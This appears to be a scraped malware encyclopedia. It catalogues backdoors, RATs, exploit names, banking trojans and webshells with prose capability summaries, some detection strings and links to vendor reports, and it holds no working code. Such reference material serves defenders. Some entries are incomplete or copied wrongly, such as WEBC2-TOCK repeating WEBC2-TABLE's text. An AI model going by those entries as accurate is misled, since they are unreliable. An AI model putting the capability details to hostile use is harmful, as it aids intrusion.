Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
HELAUTO
This family of malware is designed to operate as a service and provides remote command execution and file transfer capabilities to a fixed IP address or domain name. All communication with the C2 server happens over port 443 using SSL. This family can be installed as a service DLL. Some variants allow for uninstallation.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
KURTON
This family of malware is a backdoor that tunnels its connection through a preconfigured proxy. The malware communicates with a remote command and control server over HTTPS via the proxy. The malware installs itself as a Windows service with a service name supplied by the attacker but defaults to IPRIP if no service name is provided during install.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
LIGHTBOLT
LIGHTBOLT is a utility with the ability to perform HTTP GET requests for a list of user-specified URLs. The responses of the HTTP requests are then saved as MHTML files, which are added to encrypted RAR files. LIGHTBOLT has the ability to use software certificates for authentication.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
LIGHTDART
LIGHTDART is a tool used to access a pre-configured web page that hosts an interface to query a database or data set. The tool then downloads the results of a query against that web page to an encrypted RAR file. This RAR file (1.rar) is renamed and uploaded to an attacker controlled FTP server, or uploaded via an HTTP POST with a .jpg extension. The malware will execute this search once a day. The target webpage usually contains information useful to the attacker, which is updated on a regular basis. Examples of targeted information include weather information or ship coordinates.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
LONGRUN
LONGRUN is a backdoor designed to communicate with a hard-coded IP address and provide the attackers with a custom interactive shell. It supports file uploads and downloads, and executing arbitrary commands on the compromised machine. When LONGRUN executes, it first loads configuration data stored as an obfuscated string inside the PE resource section. The distinctive string thequickbrownfxjmpsvalzydg is used as part of the input to the decoding algorithm. When the configuration data string is decoded it is parsed and treated as an IP and port number. The malware then connects to the host and begins interacting with it over a custom protocol.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
MANITSME
This family of malware will beacon out at random intervals to the remote attacker. The attacker can run programs, execute arbitrary commands, and easily upload and download files. This IOC looks for both the dropper file and the backdoor.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
MAPIGET
This malware utility is a set of two files that operate in conjunction to extract email messages and attachments from an Exchange server. In order to operate successfully, these programs require authentication credentials for a user on the Exchange server, and must be run from a machine joined to the domain that has Microsoft Outlook installed (or equivalent software that provides the Microsoft 'Messaging API' (MAPI) service).
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
http://contagiodump.blogspot.com/2010/06/these-days-i-see-spike-in-number-of.html |
MINIASP
This family of malware consists of backdoors that attempt to fetch encoded commands over HTTP. The malware is capable of downloading a file, downloading and executing a file, executing arbitrary shell commands, or sleeping a specified interval.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
NEWSREELS
The NEWSREELS malware family is an HTTP based backdoor. When first started, NEWSREELS decodes two strings from its resources section. These strings are both used as C2 channels, one URL is used as a beacon URL (transmitting) and the second URL is used to get commands (receiving). The NEWSREELS malware family is capable of performing file uploads, downloads, creating processes or creating an interactive reverse shell.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
SEASALT
The SEASALT malware family communicates via a custom binary protocol. It is capable of gathering some basic system information, file system manipulation, file upload and download, process creation and termination, and spawning an interactive reverse shell. The malware maintains persistence by installing itself as a service.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
STARSYPOUND
STARSYPOUND provides an interactive remote shell over an obfuscated communications channel. When it is first run, it loads a string (from the executable PE resource section) containing the beacon IP address and port. The malware sends the beacon string "(SY)# <HOSTNAME>" to the remote system, where <HOSTNAME> is the hostname of the victim system. The remote host responds with a packet that also begins with the string "(SY)# cmd". This causes the malware to launch a new cmd.exe child process. Further communications are forwarded to the cmd.exe child process to execute. The commands sent to the shell and their responses are obfuscated when sent over the network.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
SWORD
This family of malware provides a backdoor over the network to the attackers. It is configured to connect to a single host and offers file download over HTTP, program execution, and arbitrary execution of commands through a cmd.exe instance.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
TABMSGSQL
This malware family is a full-featured backdoor capable of file uploading and downloading, arbitrary execution of programs, and providing a remote interactive command shell. All communications with the C2 server are sent over HTTP to a static URL, appending various URL parameters to the request. Some variants use a slightly different URL.
TABMSGSQL is also known as:
-
TROJAN LETSGO
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
TARSIP-ECLIPSE
The TARSIP malware family is a backdoor which communicates over encoded information in HTTPS headers. Typical TARSIP malware samples will only beacon out to their C2 servers if the C2 DNS address resolves to a specific address. The capability of TARSIP backdoors includes file uploading, file downloading, interactive command shells, process enumeration, process creation, process termination. The TARSIP-ECLIPSE family is distinguished by the presence of 'eclipse' in .pdb debug strings present in the malware samples. It does not provide a built in mechanism to maintain persistence.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
TARSIP-MOON
The TARSIP malware family is a backdoor which communicates over encoded information in HTTPS headers. Typical TARSIP malware samples will only beacon out to their C2 servers if the C2 DNS address resolves to a specific address. The capability of TARSIP backdoors includes file uploading, file downloading, interactive command shells, process enumeration, process creation, process termination. The TARSIP-MOON family is distinguished by the presence of 'moon' in .pdb debug strings present in the malware samples. It does not provide a built in mechanism to maintain persistence.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WARP
The WARP malware family is an HTTP based backdoor written in C++, and the majority of its code base is borrowed from source code available in the public domain. Network communications are implemented using the same WWW client library (w3c.cpp) available from www.dankrusi.com/file_69653F3336383837.html. The malware has system survey functionality (collects hostname, current user, system uptime, CPU speed, etc.) taken directly from the BO2K backdoor available from www.bo2k.com. It also contains the hard disk identification code found at www.winsim.com/diskid32/diskid32.cpp. When the WARP executing remote commands, the malware creates a copy of the ?%SYSTEMROOT%\system32\cmd.exe? file as '%USERPROFILE%\Temp\~ISUN32.EXE'. The version signature information of the duplicate executable is zeroed out. Some WARP variants maintain persistence through the use of DLL search order hijacking.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-ADSPACE
A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware is capable of downloading and executing a file. All variants represented here are the same file with different MD5 signatures. This malware attempts to contact its C2 once a week (Thursday at 10:00 AM). It looks for commands inside a set of HTML tags, part of which are in the File Strings indicator term below.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-AUSOV
A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This malware family is a only a downloader which operates over the HTTP protocol with a hard-coded URL. If directed, it has the capability to download, decompress, and execute compressed binaries.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-BOLID
A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware is a backdoor capable of downloading files and updating its configuration. Communication with the command and control (C2) server uses a combination of single-byte XOR and Base64 encoded data wrapped in standard HTML tags. The malware family installs a registry key as a persistence mechanism.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-CLOVER
A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The family of malware provides the attacker with an interactive command shell, the ability to upload and download files, execute commands on the system, list processes and DLLs, kill processes, and ping hosts on the local network. Responses to these commands are encrypted and compressed before being POSTed to the server. Some variants copy cmd.exe to Updatasched.exe in a temporary directory, and then may launch that in a process if an interactive shell is called. On initial invocation, the malware also attempts to delete previous copies of the Updatasched.exe file.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-CSON
A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of malware act only as downloaders and droppers for other malware. They communicate with a hard-coded C2 server, reading commands embedded in HTML comment fields. Some variants are executables which act upon execution, others are DLLs which can be attached to services or loaded through search order hijacking.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-DIV
The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-DIV variant searches for the strings "div safe:" and " balance" to delimit encoded C2 information. If the decoded string begins with the letter "J" the malware will parse additional arguments in the decoded string to specify the sleep interval to use. WEBC2-DIV is capable of downloading a file, downloading and executing a file, or sleeping a specified interval.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-GREENCAT
A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This malware is a variant on the GREENCAT family, using a fixed web C2. This family is a full featured backdoor which provides remote command execution, file transfer, process and service enumeration and manipulation. It installs itself persistently through the current user’s registry Run key.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-HEAD
The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-HEAD variant communicates over HTTPS, using the system’s SSL implementation to encrypt all communications with the C2 server. WEBC2-HEAD first issues an HTTP GET to the host, sending the Base64-encoded string containing the name of the compromised machine running the malware.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-KT3
The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-KT3 variant searches for commands in a specific comment tag. Network traffic starting with *!Kt3+v| may indicate WEBC2-KT3 activity.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-QBP
The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-QBP variant will search for two strings in a HTML comment. The first will be "2010QBP " followed by " 2010QBP//--". Inside these tags will be a DES-encrypted string.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-RAVE
A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware will set itself up as a service and connect out to a hardcoded web page and read a modified base64 string from this webpage. The later versions of this malware supports three commands (earlier ones are just downloaders or reverse shells). The first commands will sleep the malware for N number of hours. The second command will download a binary from the encoded HTML comment and execute it on the infected host. The third will spawn an encoded reverse shell to an attacker specified location and port.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-TABLE
The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-TABLE variant looks for web pages containing 'background', 'align', and 'bgcolor' tags to be present in the requested Web page. If the data in these tags are formatted correctly, the malware will decode a second URL and a filename. This URL is then retrieved, written to the decoded filename and executed.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-TOCK
The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-TABLE variant looks for web pages containing 'background', 'align', and 'bgcolor' tags to be present in the requested Web page. If the data in these tags are formatted correctly, the malware will decode a second URL and a filename. This URL is then retrieved, written to the decoded filename and executed.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-UGX
A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of malware provide remote command shell and remote file download and execution capabilities. The malware downloads a web page containing a crafted HTML comment that subsequently contains an encoded command. The contents of this command tell the malware whether to download and execute a program, launch a reverse shell to a specific host and port number, or to sleep for a period of time.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-Y21K
A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of backdoor malware talk to specific Web-based Command & Control (C2) servers. The backdoor has a limited command set, depending on version. It is primarily a downloader, but it classified as a backdoor because it can accept a limited command set, including changing local directories, downloading and executing additional files, sleeping, and connecting to a specific IP & port not initially included in the instruction set for the malware. Each version of the malware has at least one hardcoded URL to which it connects to receive its initial commands. This family of malware installs itself as a service, with the malware either being the executable run by the service, or the service DLL loaded by a legitimate service. The same core code is seen recompiled on different dates or with different names, but the same functionality. Key signatures include a specific set of functions (some of which can be used with the OS-provided rundll32.exe tool to install the malware as a service), and hardcoded strings used in communication with C2 servers to issue commands to the implant.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
WEBC2-YAHOO
The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-YAHOO variant enters a loop where every ten minutes it attempts to download a web page that may contain an encoded URL. The encoded URL will be found in the pages returned inside an attribute named 'sb' or 'ex' within a tag named 'yahoo'. The embedded link can direct the malware to download and execute files.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
HAYMAKER
HAYMAKER is a backdoor that can download and execute additional payloads in the form of modules. It also conducts basic victim profiling activity, collecting the computer name, running process IDs, %TEMP% directory path and version of Internet Explorer. It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string.
Links |
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html |
BUGJUICE
BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it. That malicious dll then loads encrypted shellcode from the binary, which is decrypted and runs the final BUGJUICE payload. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell.
Links |
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html |
SNUGRIDE
SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests. Messages are encrypted using AES with a static key. The malware’s capabilities include taking a system survey, access to the filesystem, executing commands and a reverse shell. Persistence is maintained through a Run registry key.
Links |
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html |
QUASARRAT
QUASARRAT is an open-source RAT available at https://github.com/quasar/QuasarRat . The versions used by APT10 (1.3.4.0, 2.0.0.0, and 2.0.0.1) are not available via the public GitHub page, indicating that APT10 has further customized the open source version. The 2.0 versions require a dropper to decipher and launch the AES encrypted QUASARRAT payload. QUASARRAT is a fully functional .NET backdoor that has been used by multiple cyber espionage groups in the past.
Links |
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html |
da Vinci RCS
Hacking Team’s "DaVinci" Remote Control System is able, the company says, to break encryption and allow law enforcement agencies to monitor encrypted files and emails (even ones encrypted with PGP), Skype and other Voice over IP or chat communication. It allows identification of the target’s location and relationships. It can also remotely activate microphones and cameras on a computer and works worldwide. Hacking Team claims that its software is able to monitor hundreds of thousands of computers at once, all over the country. Trojans are available for Windows, Mac, Linux, iOS, Android, Symbian and Blackberry.
da Vinci RCS is also known as:
-
DaVinci
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Morcut
Links |
https://wikileaks.org/hackingteam/emails/fileid/581640/267803 |
LATENTBOT
LATENTBOT, a new, highly obfuscated BOT that has been in the wild since mid-2013. It has managed to leave hardly any traces on the Internet, is capable of watching its victims without ever being noticed, and can even corrupt a hard disk, thus making a PC useless.
Links |
https://www.fireeye.com/blog/threat-research/2015/12/latentbot_trace_me.html |
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html |
FINSPY
Though we have not identified the targets, FINSPY is sold by Gamma Group to multiple nation-state clients, and we assess with moderate confidence that it was being used along with the zero-day to carry out cyber espionage.
FINSPY is also known as:
-
BlackOasis
Links |
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html |
RCS Galileo
HackingTeam Remote Control System (RCS) Galileo hacking platform
Links |
https://www.f-secure.com/documents/996508/1030745/callisto-group |
EARLYSHOVEL
RedHat 7.0 - 7.1 Sendmail 8.11.x exploit
EBBISLAND (EBBSHAVE)
root RCE via RPC XDR overflow in Solaris 6, 7, 8, 9 & 10 (possibly newer) both SPARC and x86
ECHOWRECKER
remote Samba 3.0.x Linux exploit
EASYBEE
appears to be an MDaemon email server vulnerability
EASYPI
an IBM Lotus Notes exploit that gets detected as Stuxnet
EWOKFRENZY
an exploit for IBM Lotus Domino 6.5.4 & 7.0.2
EXPLODINGCAN
an IIS 6.0 exploit that creates a remote backdoor
ETERNALROMANCE
a SMB1 exploit over TCP port 445 which targets XP, 2003, Vista, 7, Windows 8, 2008, 2008 R2, and gives SYSTEM privileges (MS17-010)
EDUCATEDSCHOLAR
a SMB exploit (MS09-050)
EMERALDTHREAD
a SMB exploit for Windows XP and Server 2003 (MS10-061)
EMPHASISMINE
a remote IMAP exploit for IBM Lotus Domino 6.6.4 to 8.5.2
ENGLISHMANSDENTIST
Outlook Exchange WebAccess rules to trigger executable code on the client’s side to send an email to other users
EPICHERO
0-day exploit (RCE) for Avaya Call Server
ERRATICGOPHER
SMBv1 exploit targeting Windows XP and Server 2003
ETERNALSYNERGY
a SMBv3 remote code execution flaw for Windows 8 and Server 2012 SP0 (MS17-010)
ETERNALBLUE
SMBv2 exploit for Windows 7 SP1 (MS17-010)
ETERNALCHAMPION
a SMBv1 exploit
ESKIMOROLL
Kerberos exploit targeting 2000, 2003, 2008 and 2008 R2 domain controllers
ESTEEMAUDIT
RDP exploit and backdoor for Windows Server 2003
ECLIPSEDWING
RCE exploit for the Server service in Windows Server 2008 and later (MS08-067)
ETRE
exploit for IMail 8.10 to 8.22
FUZZBUNCH
an exploit framework, similar to MetaSploit
ODDJOB
implant builder and C&C server that can deliver exploits for Windows 2000 and later, also not detected by any AV vendors
PASSFREELY
utility which Bypasses authentication for Oracle servers
SMBTOUCH
check if the target is vulnerable to samba exploits like ETERNALSYNERGY, ETERNALBLUE, ETERNALROMANCE
ERRATICGOPHERTOUCH
Check if the target is running some RPC
IISTOUCH
check if the running IIS version is vulnerable
RPCOUTCH
get info about windows via RPC
DOPU
used to connect to machines exploited by ETERNALCHAMPIONS
FlexSpy
covert surveillance tools
feodo
Unfortunately, it is time to meet 'Feodo'. Since august of this year when FireEye’s MPS devices detected this malware in the field, we have been monitoring this banking trojan very closely. In many ways, this malware looks similar to other famous banking trojans like Zbot and SpyEye. Although my analysis says that this malware is not a toolkit and is in the hands of a single criminal group.
Links |
https://www.fireeye.com/blog/threat-research/2010/10/feodosoff-a-new-botnet-on-the-rise.html |
Cardinal RAT
Palo Alto Networks has discovered a previously unknown remote access Trojan (RAT) that has been active for over two years. It has a very low volume in this two-year period, totaling roughly 27 total samples. The malware is delivered via an innovative and unique technique: a downloader we are calling Carp uses malicious macros in Microsoft Excel documents to compile embedded C# (C Sharp) Programming Language source code into an executable that in turn is run to deploy the Cardinal RAT malware family. These malicious Excel files use a number of different lures, providing evidence of what attackers are using to entice victims into executing them.
Links |
http://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/ |
REDLEAVES
The REDLEAVES implant consists of three parts: an executable, a loader, and the implant shellcode. The REDLEAVES implant is a remote administration Trojan (RAT) that is built in Visual C++ and makes heavy use of thread generation during its execution. The implant contains a number of functions typical of RATs, including system enumeration and creating a remote shell back to the C2.
Links |
Kazuar
Kazuar is a fully featured backdoor written using the .NET Framework and obfuscated using the open source packer called ConfuserEx. Unit 42 researchers have uncovered a backdoor Trojan used in an espionage campaign. The developers refer to this tool by the name Kazuar, which is a Trojan written using the Microsoft .NET Framework that offers actors complete access to compromised systems targeted by its operator. Kazuar includes a highly functional command set, which includes the ability to remotely load additional plugins to increase the Trojan’s capabilities. During our analysis of this malware we uncovered interesting code paths and other artifacts that may indicate a Mac or Unix variant of this same tool also exists. Also, we discovered a unique feature within Kazuar: it exposes its capabilities through an Application Programming Interface (API) to a built-in webserver. We suspect the Kazuar tool may be linked to the Turla threat actor group (also known as Uroburos and Snake), who have been reported to have compromised embassies, defense contractors, educational institutions, and research organizations across the globe. A hallmark of Turla operations is iterations of their tools and code lineage in Kazuar can be traced back to at least 2005. If the hypothesis is correct and the Turla threat group is using Kazuar, we believe they may be using it as a replacement for Carbon and its derivatives. Of the myriad of tools observed in use by Turla Carbon and its variants were typically deployed as a second stage backdoor within targeted environments and we believe Kazuar may now hold a similar role for Turla operations.
Links |
Trick Bot
Many links indicate, that this bot is another product of the people previously involved in Dyreza. It seems to be rewritten from scratch – however, it contains many similar features and solutions to those we encountered analyzing Dyreza (read more).
Trick Bot is also known as:
-
TrickBot
-
TrickLoader
Hackshit
Netskope Threat Research Labs recently discovered a Phishing-as-a-Service (PhaaS) platform named Hackshit, that records the credentials of the phished bait victims. The phished bait pages are packaged with base64 encoding and served from secure (HTTPS) websites with “.moe” top level domain (TLD) to evade traditional scanners. “.moe” TLD is intended for the purpose of ‘The marketing of products or services deemed’. The victim’s credentials are sent to the Hackshit PhaaS platform via websockets. The Netskope Active Platform can proactively protect customers by creating custom applications and a policy to block all the activities related to Hackshit PhaaS.
Links |
https://resources.netskope.com/h/i/352356475-phishing-as-a-service-phishing-revamped |
Moneygram Adwind
Links |
Banload
Banload has been around since the last decade. This malware generally arrives on a victim’s system through a spam email containing an archived file or bundled software as an attachment. In a few cases, this malware may also be dropped by other malware or a drive-by download. When executed, Banload downloads other malware, often banking Trojans, on the victim’s system to carry out further infections.
Links |
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/banload |
Smoke Loader
This small application is used to download other malware. What makes the bot interesting are various tricks that it uses for deception and self protection.
Smoke Loader is also known as:
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SmokeLoader
Links |
LockPoS
The analyzed sample has a recent compilation date (2017-06-24) and is available on VirusTotal. It starts out by resolving several Windows functions using API hashing (CRC32 is used as the hashing function).
Links |
https://www.arbornetworks.com/blog/asert/lockpos-joins-flock/ |
Fadok
Win.Worm.Fadok drops several files. %AppData%\RAC\mls.exe or %AppData%\RAC\svcsc.exe are instances of the malware which are auto-started when Windows starts. Further, the worm drops and opens a Word document. It connects to the domain wxanalytics[.]ru.
Fadok is also known as:
-
Win32/Fadok
Links |
http://blog.talosintelligence.com/2017/06/threat-roundup-0602-0609.html |
Loki Bot
Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.
Links |
KONNI
Talos has discovered an unknown Remote Administration Tool that we believe has been in use for over 3 years. During this time it has managed to avoid scrutiny by the security community. The current version of the malware allows the operator to steal files, keystrokes, perform screenshots, and execute arbitrary code on the infected host. Talos has named this malware KONNI. Throughout the multiple campaigns observed over the last 3 years, the actor has used an email attachment as the initial infection vector. They then use additional social engineering to prompt the target to open a .scr file, display a decoy document to the users, and finally execute the malware on the victim’s machine. The malware infrastructure of the analysed samples was hosted by a free web hosting provider: 000webhost. The malware has evolved over time. In this article, we will analyse this evolution:
Links |
http://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html |
NOKKI
Beginning in early 2018, Unit 42 observed a series of attacks using a previously unreported malware family, which we have named ‘NOKKI’. The malware in question has ties to a previously reported malware family named KONNI, however, after careful consideration, we believe enough differences are present to introduce a different malware family name. To reflect the close relationship with KONNI, we chose NOKKI, swapping KONNI’s Ns and Ks. Because of code overlap found within both malware families, as well as infrastructure overlap, we believe the threat actors responsible for KONNI are very likely also responsible for NOKKI. Previous reports stated it was likely KONNI had been in use for over three years in multiple campaigns with a heavy interest in the Korean peninsula and surrounding areas. As of this writing, it is not certain if the KONNI or NOKKI operators are related to known adversary groups operating in the regions of interest, although there is evidence of a tenuous relationship with a group known as Reaper.
Links |
SpyDealer
Recently, Palo Alto Networks researchers discovered an advanced Android malware we’ve named “SpyDealer” which exfiltrates private data from more than 40 apps and steals sensitive messages from communication apps by abusing the Android accessibility service feature. SpyDealer uses exploits from a commercial rooting app to gain root privilege, which enables the subsequent data theft.
Links |
https://researchcenter.paloaltonetworks.com/2017/07/unit42-spydealer-android-trojan-spying-40-apps/ |
CowerSnail
CowerSnail was compiled using Qt and linked with various libraries. This framework provides benefits such as cross-platform capability and transferability of the source code between different operating systems.
Links |
https://securelist.com/cowersnail-from-the-creators-of-sambacry/79087/ |
Svpeng
In mid-July 2017, we found a new modification of the well-known mobile banking malware family Svpeng – Trojan-Banker.AndroidOS.Svpeng.ae. In this modification, the cybercriminals have added new functionality: it now also works as a keylogger, stealing entered text through the use of accessibility services.
Svpeng is also known as:
-
trojan-banker.androidos.svpeng.ae
Links |
https://securelist.com/a-new-era-in-mobile-banking-trojans/79198/ |
TwoFace
While investigating a recent security incident, Unit 42 found a webshell that we believe was used by the threat actor to remotely access the network of a targeted Middle Eastern organization. The construction of the webshell was interesting by itself, as it was actually two separate webshells: an initial webshell that was responsible for saving and loading the second fully functional webshell. It is this second webshell that enabled the threat actor to run a variety of commands on the compromised server. Due to these two layers, we use the name TwoFace to track this webshell. During our analysis, we extracted the commands executed by the TwoFace webshell from the server logs on the compromised server. Our analysis shows that the commands issued by the threat actor date back to June 2016; this suggests that the actor had access to this shell for almost an entire year. The commands issued show the actor was interested in gathering credentials from the compromised server using the Mimikatz tool. We also saw the attacker using the TwoFace webshell to move laterally through the network by copying itself and other webshells to other servers.
Links |
IntrudingDivisor
Like TwoFace, the IntrudingDivisor webshell requires the threat actor to authenticate before issuing commands. To authenticate, the actor must provide two pieces of information, first an integer that is divisible by 5473 and a string whose MD5 hash is “9A26A0E7B88940DAA84FC4D5E6C61AD0”. Upon successful authentication, the webshell has a command handler that uses integers within the request to determine the command to execute - To complete
Links |
JS_POWMET
Attacks that use completely fileless malware are a rare occurrence, so we thought it important to discuss a new trojan known as JS_POWMET (Detected by Trend Micro as JS_POWMET.DE), which arrives via an autostart registry procedure. By utilizing a completely fileless infection chain, the malware will be more difficult to analyze using a sandbox, making it more difficult for anti-malware engineers to examine.
Links |
EngineBox Malware
The main malware capabilities include a privilege escalation attempt using MS16–032 exploitation; a HTTP Proxy to intercept banking transactions; a backdoor to make it possible for the attacker to issue arbitrary remote commands and a C&C through a IRC channel. As it’s being identified as a Generic Trojan by most of VirusTotal (VT) engines, let s name it EngineBox— the core malware class I saw after reverse engineering it.
Links |
Joao
Spread via hacked Aeria games offered on unofficial websites, the modular malware can download and install virtually any other malicious code on the victim’s computer. To spread their malware, the attackers behind Joao have misused massively-multiplayer online role-playing games (MMORPGs) originally published by Aeria Games. At the time of writing this article, the Joao downloader was being distributed via the anime-themed MMORPG Grand Fantasia offered on gf.ignitgames[.]to.
Links |
https://www.welivesecurity.com/2017/08/22/gamescom-2017-fun-blackhats/ |
Fireball
Upon execution, Fireball installs a browser hijacker as well as any number of adware programs. Several different sources have linked different indicators of compromise (IOCs) and varied payloads, but a few details remain the same.
Links |
https://www.cylance.com/en_us/blog/threat-spotlight-is-fireball-adware-or-malware.html |
ShadowPad
ShadowPad is a modular cyber-attack platform that attackers deploy in victim networks to gain flexible remote control capabilities. The platform is designed to run in two stages. The first stage is a shellcode that was embedded in a legitimate nssock2.dll used by Xshell, Xmanager and other software packages produced by NetSarang. This stage is responsible for connecting to “validation” command and control (C&C) servers and getting configuration information including the location of the real C&C server, which may be unique per victim. The second stage acts as an orchestrator for five main modules responsible for C&C communication, working with the DNS protocol, loading and injecting additional plugins into the memory of other processes.
Links |
https://cdn.securelist.com/files/2017/08/ShadowPad_technical_description_PDF.pdf |
IoT_reaper
IoT_reaper is fairly large now and is actively expanding. For example, there are multiple C2s we are tracking, the most recently data (October 19) from just one C2 shows the number of unique active bot IP address is more than 10k per day. While at the same time, there are millions of potential vulnerable device IPs being queued into the c2 system waiting to be processed by an automatic loader that injects malicious code to the devices to expand the size of the botnet.
Links |
http://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/ |
FormBook
FormBook is a data stealer and form grabber that has been advertised in various hacking forums since early 2016.
Dimnie
Dimnie, the commonly agreed upon name for the binary dropped by the PowerShell script above, has been around for several years. Palo Alto Networks has observed samples dating back to early 2014 with identical command and control mechanisms. The malware family serves as a downloader and has a modular design encompassing various information stealing functionalities. Each module is injected into the memory of core Windows processes, further complicating analysis. During its lifespan, it appears to have undergone few changes and its stealthy command and control methods combined with a previously Russian focused target base has allowed it to fly under the radar up until this most recent campaign.
Links |
https://researchcenter.paloaltonetworks.com/2017/03/unit42-dimnie-hiding-plain-sight/ |
ALMA Communicator
